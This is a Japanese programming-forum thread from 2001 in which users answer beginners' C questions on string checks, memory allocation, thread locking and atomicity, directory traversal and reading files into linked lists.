ま、知ったかぶりもたいがいにな。恥の上塗りもいいところだ。
>>156 そんなの誰でも知ってるよ。
>>127 はあほあほプログラマ(?)だったんでしょ。
つか、もういいよ。
質問してきた人も
>while( *s )
> if(! isdigit( *(s++) ) )
> return 0;
でいいっていってたし。
粘着は嫌われるよ。
>>157 レベルが低いだの言う人間が、どのくらい高いレベルのコードを
書いてくるかと思ったら、期待はずれだったからさ。
クロックを犠牲にして汎用性を取るなら ISO 表現まで読み取る
strtod で認識不能文字を調べればいいし。
まあいいや。粘着はやめることにするよ。
> isdigitがstrspnより低速なことはまず無い。 > ほぼ100%の処理系でマクロ展開される。 マルチバイト文字/ワイド文字対応が入ってる場合には、必ずしもマクロ展開され るとは限りません。たとえば VC++ 6.0 (日本語版) で isdigit() を含むコード をコンパイルすると _isctype() という関数呼び出しが入ります。 でもまぁ strspn() よりは速いと思いますけど。
>>159 マルチバイト文字は対応が難しいですよね。
でもisdigitで漢字数字等がtrueになってもあまり用途が無いような気がします。
海外のプログラムをそのまま移植したら逆に誤動作するかも。
ASCII用のisdigitとマルチバイト用のを分けて作ったほうがほうが
良かったんじゃないかなぁ。>MS
>>156 159さんの例もありますので、語気は低いほうが良いですよ。
気持ちはわかりますが。
レベル低い話題ばっかりだね
>>161 じゃ、ここらで一発レベルの高い話題をお願いします。
……それとも オマエモナー って言ってほしかった?
他に話題ないなら粘着しとこ。
>>120 の後半が一見して効率悪いと思えるのは、strspn と strlen で
同じ文字列を少なくとも二回トラバースするとこじゃないかな。
>>163 そのくらいなら
p && *p && p[ strspn(p,"0123456789") ] == '\0'
とでもしときゃ何とでもなるけど、やっぱり本質的にstrspnは遅いっしょ。
>>164 strspn 自体が遅いことにはモチロン同意だけど。それにしても
> p[ strspn(p,"0123456789") ] == '\0'
なるほど、これはちょっと目からウロコでした。
>>165 ポインタおべんきょしましょ。
strspn(p,"0123456789")[p] == '\0'
結局 #undef isdigit は必要なの? 不要なの?
>>151 > sizei = sizeof(int) * I * J * K;
> sized = sizeof(double) * I * J * K;
> f->a = (int *)malloc(sizei + sized);
> f->b = (double *)(f->a + I * J * K);
が非常に参考になりました.
お陰様で,目的のスクリプツを作る事ができました.
どうもありがとうございました.
170 :
デフォルトの名無しさん :01/09/10 01:43
急スレが上がっているのでage
age
172 :
デフォルトの名無しさん :01/09/11 00:49
CでOOPする方法を教えてください。
COMを使いましょう。死ねます。 C++トランスレータ使いましょう。出力はCになります。
> 出力されたファイルのサイズが元のファイルの4倍くらいに
> 膨れ上がってしまいます。
君の環境では int = 4byte だからです。
int = 2byteの環境では元のファイルの2倍くらいに膨れ上がるでしょう。
> また、「これが定石じゃ!」
int c;
while((c = fgetc(ifp)) != EOF)
fputc(c, ofp)
>>149 の方法だとbufよりも大きいサイズのコピーが出来ない
176 :
デフォルトの名無しさん :01/09/12 11:54
構造体の配列を動的に割り当てるにはどうしたらいいですか? struct point{ float x float y; }; struct point *p; p = (struct point *)malloc(256 * sizeof(struct point)); こんな感じでいいんでしょうか?
177 :
デフォルトの名無しさん :01/09/12 11:56
178 :
デフォルトの名無しさん :01/09/12 21:21
>>176 Cだったら、malloc()の戻り値をキャストする必要はないね。
C++だったら必要だけど。(ふつうnewするか)
<UNIX-C Solaris8> メモリ上のテーブルに複数の同スレッドが参照・更新を行っています。 現状、参照・更新共にメモリテーブルにmutexロックを掛けていますが このテーブル、更新頻度が低くて、参照の際までにロックを掛けていることが ボトルネックになって参照処理が遅いように思われています。 で、解決策として、参照の際はロックしないで、更新時だけロックする 読み手/書き手ロック関数(rw_系)を使えばいいのではないかと思うんですが このロックに変えることで弊害とか考えられますか? カーネルへの負担とかはどちらが重いんでしょうか?
180 :
デフォルトの名無しさん :01/09/12 21:37
putcharとかputsってなんのためにあるんでしょう? printfがあれば全て済みそうなんですが. 本によるとprintfはオーバーヘッドが大きいからputsやputcharで 済むならこっちを使いましょう,みたいになってるんですが,マイクロ セカンド単位で変わっても大した問題じゃあないと思います. でもやはり,printfを使う必要がなければputsとか使うべきですか?
フツーreadではlockしないだろ。writeで変なことしなければ問題ナシ。それがフツー。
ネックにならなきゃprintfでもwriteでも好きなの使えば。 ちゃんとprofile取ってから考えろよ。
>>184 でもつっこみどころはCの話題じゃないしなあ。
もうちょい放置してみようぜ。
186 :
デフォルトの名無しさん :01/09/13 01:36
旧スレが上がってるので age ね。ついでに突っ込みいれておこう。
>>184 read() でロックをかけないと、read() 実行中に write() されると、競合が発
生する。だから read() では共有ロックをかけ、write() では排他ロックをか
ける必要がある。
>>179 どこがボトルネックになっているのか、まずはプロファイラを使って計測しま
しょう。行き当たりばったりで最適かかけても、無駄な苦労に終わる可能性
がきわめて高いぞ。
>>183 >>185 >> 186
writeがatomicならロック必要ナシ。
テーブル
const int n = 4;
int table[n];
あるスレ(read)
for (i = 0; i < n; i++) {
printf("%d\n", table[i]);
}
別のスレ(write)
for (c = 0; ; c += n) {
for (i = 0; i < n; i++) {
table[i] = c + i;
}
}
>>187 readの結果が「0,1,6,15」とかでも構わないのなら、
ロックする必要はないけどな。
189 :
デフォルトの名無しさん :01/09/13 14:47
int (*a)[N] は配列へのポインタ int *a[N] はポインタの配列 ですよね?どう違うんでしょ?
>>189 「配列へのポインタ」と「ポインタの配列」の違いがわからないということは、
すなわち「ポインタと配列の違いがわからない」に等しい。
教科書読んで出直せ。
とりあえずそれぞれについてsizeof(a)を調べて見れ。
191 :
ヨーコ・ゼッターランド :01/09/13 16:48
??????????????? ??????????????????? ??????????????????????? ????? ?? ? ????????? Cは偉大なり ???? ?????? ???????????? ?? ??? ?????????? ?? ????? ????? ????? ?? ????? ? ?? ??? ??? ? ?????????? ?? ?? ???? ????? ?? ?? ???? ???? ??? ????????????????????? ??????????????????? ?????????????????? ???????????????
>>187 限定的なケースだね。それ。
揚げ足をとるつもりじゃないが、
Cでいうところのintに対するアクセスがatomicであると証明できるひといる?
おれ、できないんだけど。馬鹿なのかな
x86系のまともなコンパイラなら、i++, i--はアトミック。 i += 即値もアトミック。 ただ、187の例はwriteがアトミックかどうかは関係ないような。
194 :
ちこりーた。 :01/09/13 19:16
C#はどうだろおヽ( ´ー`)ノ
あースレまちがえたヽ( ´ー`)ノ
「今使ってる環境ではアトミック」だとわかっても 「これから使う環境でアトミック」かどうかはわからんよね。 いや、まあ、揚げ足取りっぽいからいいけどさ。 どっかに「intアクセスはアトミックだよ」っていう保証があればいいんだけどね。
197 :
トシ@矢田亜希子&水野美紀 :01/09/13 21:33
キーボードから順次入力された正の整数を、 0が入力されるまで、配列に順番に格納し、次に、ある1つの正の整数を与えると、それが何番目に入力された整数であるかを表示するプログラムを作成せよ。 例えば、次のような実行例となるようにせよ。 数字(1)を入力してください 43 数字(2)を入力してください 25 数字(3)を入力してください 7 数字(4)を入力してください 123 数字(5)を入力してください 0 見つけたい数字を入力してください 7 7は3番目に見つかりました 見つけたい数字を入力してください 55 55は見つかりませんでした 見つけたい数字を入力してください 0 それではプログラムを終了します 以上 やって下さいな。
>>196 つーか今でも8bit組み込み向けクロスコンパイラだとアトミックじゃないな
そんなCにはそもそも標準IOライブラリがあること自体が怪しいが
>>198 情報ありがトン
というわけで、後からよけいなメンテをしたくないひとは
同期はおろそかにしちゃいかんということでヨシ。
>>200 あの例の場合、SMPだろうがNUMAだろうが関係ナシ。
202 :
デフォルトの名無しさん :01/09/13 23:53
>何で if や while と“()”の間をつめたがるんだろね? 最初に勉強した本の影響と思われ。 でもフォーマットのことを言い出すときりが無い。 宗教論争だ。 # その宗教論争のスレ、誰か立ててよ。
203 :
デフォルトの名無しさん :01/09/14 00:06
超初心者でごめんなさい。 使用されていないメモリのアドレスを取得する命令ってありますよね? 無かったら非常に困っちゃいますが。 その命令を教えていただきたいのですが。 このままだと固定長の文字列しか扱えなくて・・・
204 :
デフォルトの名無しさん :01/09/14 00:09
malloc
205 :
デフォルトの名無しさん :01/09/14 00:17
calloc
>>200 ん? (*ptr)++ ってx86でまともなコンパイラなら、
mov eax,ptr; inc [ebx]
とかするでしょ。CPUとバスが調停してくれるから、SMPでも大丈夫。
mov eax, [ebx]; add eax,1; mov [ebx],eax
とかだと、マルチスレッドでもまずいけど。
(だから、RISC系ではintへのアクセスは大抵アトミックではない)
これで合ってる?
207 :
デフォルトの名無しさん :01/09/14 01:14
すばやいレスサンクスです。 なるほど、こういう命令があったんですね。 これ使えばリスト構造とかできるのかな? っていうか、出来なきゃおかしいか・・・ mallocとcallocの違いがよくわかんないのですが。 callocはゼロに初期化してくれるってこととエラー処理ルーチンを呼び出す ってことくらいしか違いが無いような さらにreallocとかfreeってのみつけたんですけど、 reallocってのが配列のサイズを拡大して、 freeが一連の操作をしたメモリを開放するってことでよいのですか? 配列を縮小する命令が無いんですけど、 やっぱりcallocで作り直してメモリの中身をコピーして、 freeで削除?ってことでよろしいんですか?
reallocは縮小もできますが?
あ、すんません、 reallocの第二引数を「相対的な」サイズだと思ってました。 第二引数にマイナスの値を入れたら恐ろしいことになっちゃって(泣 絶対的だったんですね、勘違い、勘違い。 どうもありがとうございます。
210 :
デフォルトの名無しさん :01/09/14 01:42
C言語で円周率を使う時は 自分で3.14・・・を定義するものなのですか。 誰かが なんとかPI(ちがってるかも) みたいのが初めから入っているって言ってたような気がするんですが。 知ってる人おしえてください.
>>206 ・・・ふーん、なるほどね。
「インテル・アーキテクチャ・ソフトウェア・ディベロッパーズ・
マニュアル」下巻より
7.1.1.保証付きアトミック操作
Intel386、Intel486、Pentium、P6ファミリの各プロセッサは、次の
基本的なメモリ操作が常にアトミックに実行されるよう保証する。
・1バイトの読み取りまたは書き込み。
・16ビット境界にアライメント合わせされた1ワードの読み取りまたは
書き込み。
・32ビット境界にアライメントが調整された1ダブルワードの読み取り
または書き込み。
-- 略 --
7.1.2.2.ソフトウェア制御されたバス・ロック
明示的にバスをロックするために、ソフトウェアは次に示すメモリ位置を
変更する命令に先だってLOCKプリフィックスを付加することができる。
-- 略 --
・ビット・テスト/変更命令(BTS、BTR、BTC)。
・交換命令(XADD、CMPXCHG、CMPXCHG8B)。
・XCHG命令には自動的にLOCKプリフィックスが付くものと想定されている。
・次の1オペランド算術演算/論理演算命令: INC、DEC、NOT、NEG。
・次の2オペランド算術演算/論理演算命令: ADD、ADC、SUB、SBB、AND、OR、XOR。
212 :
デフォルトの名無しさん :01/09/14 02:16
>>206 そんな事いっても、ロックしないのはCのソースとして問題外。
環境に依存しまくったIntel方面の方言に過ぎない。
安全なアセンブラ命令に展開されるといっても、コンパイラ依存。
それに、元記事によるとSolarisだから、Sparc環境かもしれない。
213 :
デフォルトの名無しさん :01/09/14 02:43
すいません、こういうことできないんですか? void s(int d){ for(int z=0;z<10 || z<d;z++){ } } 意図としては、Zが10より低いか、dより低い間実行せよというかんじなんですけど。コンパイラ通るんですが、駄目でした。
214 :
デフォルトの名無しさん :01/09/14 02:49
>>213 実行時に d に負の数を渡してたりするかもな。
unsigned のデカイ数とかな。
215 :
デフォルトの名無しさん :01/09/14 02:54
ところで int main() { mem(); } void mem() { char *ptr = (char *)malloc(64); /* free(ptr); */ } 以上の場合、確保したメモリの有効範囲って mem()内だけですか? main()に戻ったとき自動的にfree(ptr)が実行されてますかね? それともmain()がおわるまで確保されたメモリは開放されませんか?
C言語なんてやめちまえ
>>215 なんでそういう考えに至ったのか理解に苦しむところ
>>215 main()がおわるまで確保されたメモリは開放されない
C言語には目に見えて自動的にやってくれる処理はないと思ったほうがよい
>>215 初心者的意見だと
char *ptr = (char *)malloc(64);
このchar型のポインタの有効範囲は関数の中だけなんじゃないですか?
んでもって、開放してないんだからめもりりぃ〜く!だと思いますが。
あくまでも初心者的意見のため、間違っている可能性大ですけどね。
厨房プログラマ板作ってくれ
つーか厨房はマ板へ逝って欲しい。
>>219 開放してないんだからめもりりぃ〜く! だ!!!!
だからCはプログラマが書いてないことは何もしないんだってぱ
いきなりレベルが下がってるなこのスレ(笑)
>>223 それはすべて、1ことわたくしめの責任でアリマス!
225 :
デフォルトの名無しさん :01/09/14 04:51
heap
>>221 プログラマ板は、プログラム技術を語る板じゃないぞ。厨房を押し付けないでくれ。
>226 厨房もカテゴリ的にはプログラマ板の方がふさわしい
>>212 readでロック不要という議論なんだが。
アトミックって何?(・∀・)
>>229 atom=原子:これ以上分けられない最小の単位
>>228 だから、x86限定で話してどうなるんだよ?
readでロック不要。これは、環境依存だ
でも組み込みとかに限らず、作りきりコードを書いてる人だと 移植性よりは、効率のよい実装のほうが重要なこともあるんだよね。 わかってて明示的にやるなら 環境依存は別に悪いことじゃないと思うよ。
>>231 どんな環境でatomicなwriteに対するreadにロックが必要なんだ?
>>233 atomicに書くだけでよいなら同期は必要ない。
読んでから書くまでatomicでないなら同期が必要だがなにか?
>>234 だから書く話はしてないんだってばさ。ちゃんと読めよ。
いーかげんつかれたけど、これもつっこむべき?
>>235
237 :
デフォルトの名無しさん :01/09/15 05:56
Linuxで、あるディレクトリのファイル一覧を得たいのですが標準関数ではできませんよね? そこでsystem関数等なども交えて考えてみましたが私には解りませんでした。 もしよろしければヒントなどでも教えてください。よろしくお願いします。 引 数 directory 捜索するディレクトリ名 file 結果格格納要変数 戻り値 ファイルの数 int getfile(char* directory, char** file) として int a; char* file; a = getfile("/home/hoge/",&file); とすると file[0],file[1],file[2]......file[a] とファイル名が入っているというのはできますか? よろしくお願いします。
#include <dirent.h> DIR, struct dirent, opendir, readdir, closedir
こんな物があったのですか!ありがとうございました。
Ruby
UNIX(solaris)でファイルコピー中(aプロセス)のファイルを読み込んだ時(aプロセス)に、 どうなるんでしょうか?コピー中の際はオープン出来ないように(c言語) 出来るんですか?
排他制御の事かな? tp://www.itboost.co.jp/c/c_07.php ほい、書くの面倒だから。
244 :
デフォルトの名無しさん :01/09/15 16:06
ぬぁにぃぃ!!漏れのレベルが低いだと?! 検索して一番上の奴を紹介してやったんじゃないか!! そもそも241の日本語がわからん! ハカーの漏れに謝れ。さぁハカーの漏れに謝れ
>>236 いや、もう良いでしょ。
分かるヤツにはこれまでの議論で十分だし、ここまで読んでまだ理解できない
相手には、何を言っても無駄。
=============================================== C++Builder コマンドラインツール リリースノート =============================================== コマンドラインツールのインストールと実行 ----------------------------------------------- 1. freecommandlinetools.exe を実行します。無料の C++Builder 5 コマンドラインツール開発システムをインストールしたいドライブと フォルダを選択します。 2. インストール先の bin ディレクトリで次の手順を実行します。 a. 既存のパスに "c:\Borland\Bcc55\bin" を追加します。 b. bcc32.cfg ファイルを作成します。このファイルは,Include および Lib パスのコンパイラオプション(コンパイラの -I および -L スイッチ)を設定するものです。ファイルには次の 行を含めてください。 -I"c:\Borland\Bcc55\include" -L"c:\Borland\Bcc55\lib" c. ilink32.cfg ファイルを作成します。このファイルは,Lib パスのリンカオプションを設定するものです。ファイルには 次の行を含めてください。 -L"c:\Borland\Bcc55\lib" これの2b・cのやりかたがわかりません。 これじゃあ勉強すらできない・・・・・
>>246 難しく考えるな。含めろといわれている行をコピペして、
それぞれ指定されたファイル名で保存するだけ。
(もし c:\Borland 以外の場所にインストールしたのなら、
適宜内容を書き換える必要はあるが)
248 :
デフォルトの名無しさん :01/09/16 01:32
>>246 vectorかどっかに自動って設定やってくれるのなかったか。
×自動って → ○自動で sageてなくてすまん。
↑248だった・・・なんか一人で自滅しとる。欝
まともなコンパイラならincに展開されるとか言ってる奴は VC++でアセンブラリスト見たことあるのか? VC++はまともなコンパイラじゃないとか言われそうだけど(藁
>>251 もしかして、最適化なしの結果を見てたりしてないだろうな?
>>252 ちゃんと最適化してるって。
だから見てるの?
254 :
デフォルトの名無しさん :01/09/16 05:13
>246 金をかけずにプログラミングを勉強したいなら、まず"MS−DOS"の使い方を覚えろ。
// VC6.0Pro Release void inc(void) { volatile int *pt; (*pt)++; } ; Line 3 mov eax, DWORD PTR _pt$[esp-4] mov ecx, DWORD PTR [eax] inc ecx mov DWORD PTR [eax], ecx
void inc(void) { int *pt; (*pt)++; } ; Line 3 mov eax, DWORD PTR _pt$[esp+4] inc DWORD PTR [eax]
Debian徹底入門買ったんでノートに入れようと思ってます。 動作するかはわかりませんが・・・・ 柴田望洋明解C言語入門編やってます。 わかりやすくてどんどんすすみそう。 ただP21の複数の変換指定をコンパイルして実行すると、 実行したファイルがKERNEL32エラーを引き起こして このぺ−じだけ実行不能になってしまいます。 他のプログラムは今のところエラーでないのに・・・・
void inc(void) { int *pt; (*pt)++; (*pt)++; } ; Line 5 mov eax, DWORD PTR _pt$[esp+4] add DWORD PTR [eax], 2 そもそも、たまたまincに展開されたところで incはSMP safeじゃないんだが。
260 :
デフォルトの名無しさん :01/09/16 13:22
とりあえず、193が作ったプログラムを使わせられるような悲劇が起こりませんように...
>>259 もともとの話とは全然違うんだが、まぁこれはこれで君は正しいよ。
>>260 そうか?使うだけなら漏れは構わんが。引き継ぎさせられるような
場合は、1から書き直せる時間がなければ承諾せんけどな。
262 :
デフォルトの名無しさん :01/09/17 09:11
C言語による最新プログラム辞典 平林雅英著 技術評論者 のソースコードをダウンロードできるサイトはないですか? フロッピーがついてるのですがPC-98ようなので読めません。
264 :
デフォルトの名無しさん :01/09/18 17:27
あるディレクトリ以下に存在するファイル一覧を全て表示する関数を創りたいのです。 覚えたての再帰を使えば楽勝さ!と思えど実際に作っているうちにすぐにつまづきました。 手がつけられなくなりました。。。 どなたかこのような関数の雛型を持っていたらご教授ください。お願いします。
>>264 OSくらい書け。
MS-DOS/Windows系
systemm("dir");
UNIX系
system("ls -l")
>>266 レスありがとうございます。しかしそれでは困るのです。。。。
あるディレクトリ以下に存在するファイル一覧というのは
/home/というディレクトリの中にhoge/とuser/というディレクトリがあればその
ディレクトリにあるファイルも順次表示し、そのディレクトリにさらにディレクトリがあれば・・・・
と全て表示したいのです。言葉足らずですいません。
opendirやstat関数を駆使して創る事になると思うのですが・・・・
OSはLinuxとMS-DOS(CYGWIN)なのでUNIX系という事になりましょうか。
よろしくお願いします。
>>265 かなりイタいページだね。
それにしてもこの著者まだC言語が関数型言語だと思ってるのだろうか。
それとももう間違いを悟ったかな?
>>266 再帰的にだと
MS-DOS/Windows系
dir /s
UNIX 系
ls -R
だと思うが。
>>267 全然エラーチェックしていないが、こんな感じ
カレントと親ディレクトリは無視するのがポイント
void foo(const char *dn)
{
DIR *dp;
struct dirent *dir;
struct stat fs;
dp = opendir(dn);
while ((dir = readdir(dp)) != NULL) {
stat(dir->d_name, &fs);
if (S_ISDIR(fs.st_mode))
if (strcmp(dir->d_name, ".") && strcmp(dir->d_name, ".."))
foo(dir->d_name);
}
closedir(dp);
}
272 :
デフォルトの名無しさん :01/09/18 20:26
大きなデータを扱うとき char str[10000][1000]; みたいに普通に宣言していいんですか。
>>272 かまわない
ただし、俺愛用のコンパイラLSI-Cの場合、デフォルトスタックサイズが
2500バイトなんでスタックサイズを増やさないといけないけどな。
あと、固定で確保する方法ではなく、必要な大きさだけ確保する手もある
malloc(), free()あたりを検索してみてくれ。
275 :
デフォルトの名無しさん :01/09/18 21:57
>>271 >if (strcmp(dir->d_name, ".") && strcmp(dir->d_name, ".."))
...
276 :
デフォルトの名無しさん :01/09/18 22:08
>>271 dir->d_name って、パスが含まれていないんじゃないかな。
277 :
デフォルトの名無しさん :01/09/19 03:24
memcmpとstrncmpってどう違うんでしょうか
278 :
デフォルトの名無しさん :01/09/19 03:29
>>274 LSI-Cって、かの有名な石器時代のコンパイラ?
279 :
デフォルトの名無しさん :01/09/19 03:32
280 :
デフォルトの名無しさん :01/09/19 03:33
>278 まだ現役ですよ〜 DOS時代からの人はこれの存在大きかったよね?
281 :
デフォルトの名無しさん :01/09/19 03:35
>>279 >nul文字で終了しない。
memcmpでもどっちかの文字が0になった(差違が出た)
時点で終るのでは?
282 :
デフォルトの名無しさん :01/09/19 03:39
>>279 両方同じ文字列だった場合、それよりも長い長さを比較したら、
memcmpの方は領域外の比較もしちゃうから異なるって事かな?
普通の使い方じゃないけど
(普通、比較前に両方のmaxを取るでしょ?)
>>271 ありがとうございました。
教えてもらったソースを雛型にプログラムを創りたいと思います。
285 :
デフォルトの名無しさん :01/09/19 10:20
lsのソースコードみれ
286 :
デフォルトの名無しさん :01/09/19 12:26
>>280 俺もまだ現役。LFN もちゃんと扱えるからな。
>>277 3つ目の引数に何を渡すかにより動作が異なる
strncmp(a,b, strlen(a)); memcmp(a, b, strlen(a));
の場合、strncmpとmemcmpの動作に違いはないが、
strncmp(a,b, sizeof a); memcmp(a, b, sizeof a));
の場合、strncmpとmemcmpの動作が違うことがある。
>>287 後者だとコンパイル不可かな(w
で、a の型は?
>>288 > で、a の型は?
char a[] = "\x00hoge";
char b[] = "\x00hage";
とかだと後者のコンパイルも可能だし、strcmp, memcmpの動作も変わるけど?
>>289 コンパイル不可というのは、閉じ括弧が一つ多いことに
ついて揚げ足を取ってみただけ、じゃなかろうか。
291 :
公房ドキュソ :01/09/19 21:26
授業日数(210日)、出席、欠席を入力し出席率を求める式をきぼんぬ。 またはプログラムきぼんぬ。C言語できぼんぬ。
>>291 syussekiritu = syussekinissuu / jugyounissuu;
見積もり依頼じゃないのかな DBは何がいい?
295 :
デフォルトの名無しさん :01/09/20 00:12
半日調べたのですが、わからなかったので教えてください。 プロセスの中で、その実行可能ファイルのファイル名を 取得したいのです。 mainで、argv[0]の内容を広域変数に入れて参照する、 という方法があるのはわかったのですが、 広域変数を使わずに、関数で取得するような方法って ないのでしょうか? ヒントでもよいので、よろしくお願いします。
>>295 プラットホームを書いた方が良いと思うぞ。
C 言語一般の話で言えば、ありません。
297 :
デフォルトの名無しさん :01/09/20 00:53
unixならpsのソース見てみたら? 俺はへたれなので偉い人きぼん
298 :
デフォルトの名無しさん :01/09/20 01:36
299 :
デフォルトの名無しさん :01/09/20 09:09
psのソースやらlsのソースはどこで手に入れられるのですか? いつも探してみるのですが見つかりません。 よろしければサイトを教えてください。
環境書いてないけど、きっと君はFreeBSDをフルインストールしてるんだろう。 /usr/src/ 以下を見ろ。すべての標準コマンドのソースが入ってる。 灯台下暗しってやつだな。
301 :
デフォルトの名無しさん :01/09/20 10:01
for(;;) と while(1) どっちが望ましいとか あるのかな
302 :
デフォルトの名無しさん :01/09/20 10:12
>>295 Win32 なら GetModuleFileName() で第一引数に NULL
4.4BSD 系列だと、スタートアップルーチンで _progname に設定してるから、
自分のソースに
extern char *_progname;
とでも書いておいて _progname でアクセス。他の環境でも kvm や procfs を
介して取得できる可能性は高いけど、汎用的な方法はないと思う。
303 :
デフォルトの名無しさん :01/09/20 10:45
>>300 /usr/src/以下は
.
..
pgsql/ ←最近自分でアップグレードしたばっかり
です。ちなみに環境はTurboLinuxServer6.1です。
でもお陰で標準的にはソースが/usr/src/に残されているという事を知りました。
ありがとうございました。
304 :
デフォルトの名無しさん :01/09/20 10:49
今考えたら . .. は/usr/local/src/でした。 今は確認できる環境にいないので 後で/usr/src/を確認しておきたいと思います。
305 :
デフォルトの名無しさん :01/09/20 17:30
#include <stdio.h> int main(void) { int c; printf("Hello world!\n"); while (1) { if ((c = getchar()) == 'a') { break; } printf("c = %c\n", c); } printf("exit\n"); return EXIT_SUCCESS; } こういうプログラムを作りました。キーボードから a を入力したら exit と表示して終了して欲しいプログラムです。これをコンパイル して実行してみたところ、 b c = b c = c c = c c = のように、なぜか getchar() を入力する前に printf が実行される ように見えます。これを b c = b c c = c のような出力を得るようにするにはどうすればよいでしょうか。 こちらの環境は、FreeBSD 4.3-RELEASE で gcc 2.95.3 です。
>>304 タボリヌだと /usr/src/ には linux とか redhat くらいしかないかも。
赤帽系 Linux はプログラマのための UNIX じゃないから、コマンド類の
ソースは標準インストールではついてこないんじゃないかな。
307 :
デフォルトの名無しさん :01/09/20 18:54
>>306 なるほどなるほど、プログラマのためのUNIXじゃないというのは納得です。
ではプログラマの為のLINUXでお勧めはどのディストリビューションはなんですか?
お願いします。
>>305 改行文字を読み込んで、それをそのまま出力しているせいなので、
if (c == '\n') continue;
を printf の前に加えればいい。
>>307 ソースコードを一式そろえたいなら Linux よりも FreeBSD, NetBSD, OpenBSD の
方が楽。
310 :
名無しさん@XEmacs :01/09/21 01:40
argv[0]は必ずしも実行ファイルの正しいファイル名とは限らない。 たとえばログインシェルのargv[0]は-shとかになっている。 procfsが有効になってるLinuxなら char exename[MAXPATHLEN]; int n = readlink("/proc/self/exe", exename, sizeof exename); if (n < 0) goto error; exename[n] = 0; printf("path=%s\n", exename);
311 :
デフォルトの名無しさん :01/09/21 10:54
>>309 ftpで普段は探る事もないFreeBSDのフォルダを探ったら
お陰さまで簡単に各種ソースコードを見つける事ができました。
しかし、贅沢を言えばやはり欲しいのはLinuxのソースコードです。
どなたかLinuxのソースコードが置いてあるftpサイトを教えて頂けないでしょうか?
お願いします。
「Linuxのコマンド」なるものは存在しない。OK? 「Linuxのディストリビューションのコマンド」なら 配布元のサイトに逝けばあるかも。
Linuxだったら、適当なディストリビューションのFTPに潜って srpmなりなんなり取ってきて展開すればいいと思うが。 Slackware系なら単なるtar.gzで転がってるけど。
314 :
デフォルトの名無しさん :01/09/21 13:49
>>308 なるほど。つまり改行はスキップするとよいわけですね。勉強に
なりました。
315 :
デフォルトの名無しさん :01/09/21 14:23
C初心者なんですが、とりあえずファイル読み込むライブラリ作ろうとしています。 FILE渡すと、そのファイルの中身全部読み込んでメモリに保持して、 **linesを返すようなライブラリです。そのソースのファイル名が filereader.cだとします。 **linesがさしている行の配列はfilereader.cのファイルスコープの 変数として定義されています。ファイルを読み込んで**linesを返す 関数がchar **read(FILE *fin)だとします。 んで、main()の方で2つのファイルを同じときに読み込みたくなった 時にハタと困ったわけです。 char **lines1, **lines2; lines1 = read(file1); lines2 = read(file2); と、してしまうとlines1が指している行の配列がlines2のものに なってしまうのです。これを干渉し会わないようにするには ライブラリをどのように作るのがよいのでしょうか?
>>315 で、linesの実体は誰が確保してるんだ?
317 :
デフォルトの名無しさん :01/09/21 14:35
>>316 いや、filereader.cの中で確保する予定ですが。。。というか、
まだ考えている段階なのでコードは書いていないのです。
すいません。
>>315 > **linesがさしている行の配列はfilereader.cのファイルスコープの
> 変数として定義されています。
この変数をメモリ確保するようにし、別インスタンスにする
また、char **ではなくリスト構造にするという手もある
「リスト構造」は検索エンジンで聞いてくれ。
319 :
デフォルトの名無しさん :01/09/21 14:47
申し訳ございません、よく理解できないのでもう少しおつきあい 願えないでしょうか。 >この変数をメモリ確保するようにし、別インスタンスにする このインスタンスとは「クラスのインスタンス」という意味ですか? だとすると、Cなのでそれができないのです。 >また、char **ではなくリスト構造にするという手もある リスト構造とはリンクリストのことですか? 構造体にしたところでなにが変わるのかがわかりません。
>>319 プログラミング言語 C を読み直した方が良いと思うが。
>>この変数をメモリ確保するようにし、別インスタンスにする
たぶん malloc() で確保しろといいたかったに違いない。
> リスト構造とはリンクリストのことですか?
> 構造体にしたところでなにが変わるのかがわかりません。
分かれ。
321 :
デフォルトの名無しさん :01/09/21 15:03
>>320 >たぶん malloc() で確保しろといいたかったに違いない。
いや、ファイルの内容はメモリに保持するのがもともとの予定だったので
malloc(), realloc()でメモリの許す限りの大きさを許すのがもともとの
予定です。しかし、このことが質問とどのように関係しているのかが
わかりません。
>分かれ。
すいません。教えてください。
(つうか、こいつも俺と同じく厨房?)
>>321 なんで関数内で malloc() した領域を返すのに、
> char **lines1, **lines2;
> lines1 = read(file1);
> lines2 = read(file2);
>
> と、してしまうとlines1が指している行の配列がlines2のものに
> なってしまうのです。
となるわけ? なんか根本的に勘違いしてる気がするが。手元に動いているコードが
あるなら、とりあえず出してみなよ。
> (つうか、こいつも俺と同じく厨房?)
喧嘩を売るなら fj.news.usage に逝きましょう。俺は、つきあわないけど。
>>319 > このインスタンスとは「クラスのインスタンス」という意味ですか?
> だとすると、Cなのでそれができないのです。
スマン、用語がC++だった。
インスタンス=実体とでも思ってくれ、
> リスト構造とはリンクリストのことですか?
> 構造体にしたところでなにが変わるのかがわかりません。
行を管理する実体を確保する必要がなくなる。
また、配列の場合あらかじめ行数がわかっている場合は問題ないが、
全部読んでみないと行数がわからない場合、面倒
324 :
デフォルトの名無しさん :01/09/21 15:24
んーと、Cはじめたばっかりなので、間違っているかもしれませんが、 filereader.cは次のようになる予定です。 filereader.c: #include <stdio.h> static char lines[][] = NULL; extern char **read(FILE *f); char **read(FILE *f) { /* ファイルから読み込んで、linesに格納。この際メモリの許す限り ファイルのサイズを許すためその都度malloc(), realloc()でlines にメモリを割り当てる。*/ return lines; }
325 :
デフォルトの名無しさん :01/09/21 15:26
>喧嘩を売るなら fj.news.usage に逝きましょう。俺は、つきあわないけど。 すいません。失礼しました。
326 :
デフォルトの名無しさん :01/09/21 15:37
すいません、で、main.cの中のmain()からread()を呼び出す予定 なのです。 main.c: int main(void) { ... lines1 = read(file1); lines2 = read(file2); ... }
>>324 > static char lines[][] = NULL;
静的に確保した配列と malloc() で確保したメモリ領域の区別がついてないと思われ。
#include <stdio.h>
#include <stdlib.h>
#define MAXLINELEN 1024
struct list
{
struct list *l_prev;
struct list *l_next;
char l_line[MAXLINELEN];
};
struct list *
read_file(FILE *fp)
{
struct list *first, *prev, *cur;
char buf[MAXLINELEN];
first = malloc(sizeof(*prev));
first->l_prev = first->l_next = NULL;
for (prev = first; fgets(buf, sizeof(buf), fp) != NULL; prev = cur) {
cur = malloc(sizeof(*cur));
cur->l_prev = prev;
cur->l_prev->l_next = cur;
cur->l_next = NULL;
strcpy(cur->l_line, buf);
}
return (first);
}
int
main(void)
{
FILE *fp;
struct list *first, *p;
fp = fopen("read.c", "r");
first= read_file(fp);
fclose(fp);
for (p = first->l_next; p != NULL; p = p->l_next)
fputs(p->l_line, stdout);
return (0);
}
328 :
デフォルトの名無しさん :01/09/21 15:44
>>324 reallocでのメモリ拡張は大量のメモリコピーが伴う場合があるから
